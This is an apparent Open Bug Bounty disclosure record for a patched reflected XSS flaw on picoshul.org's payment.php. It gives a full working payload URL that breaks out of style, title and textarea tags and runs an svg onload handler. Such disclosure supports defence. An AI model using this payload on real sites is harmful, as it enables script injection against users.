picoshul.org XSS vulnerability

Vulnerable URL: http://www.picoshul.org/payment.php?notes=%3C/stYle/%3C/titLe/%3C/teXtarEa/%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15952244 VIP website...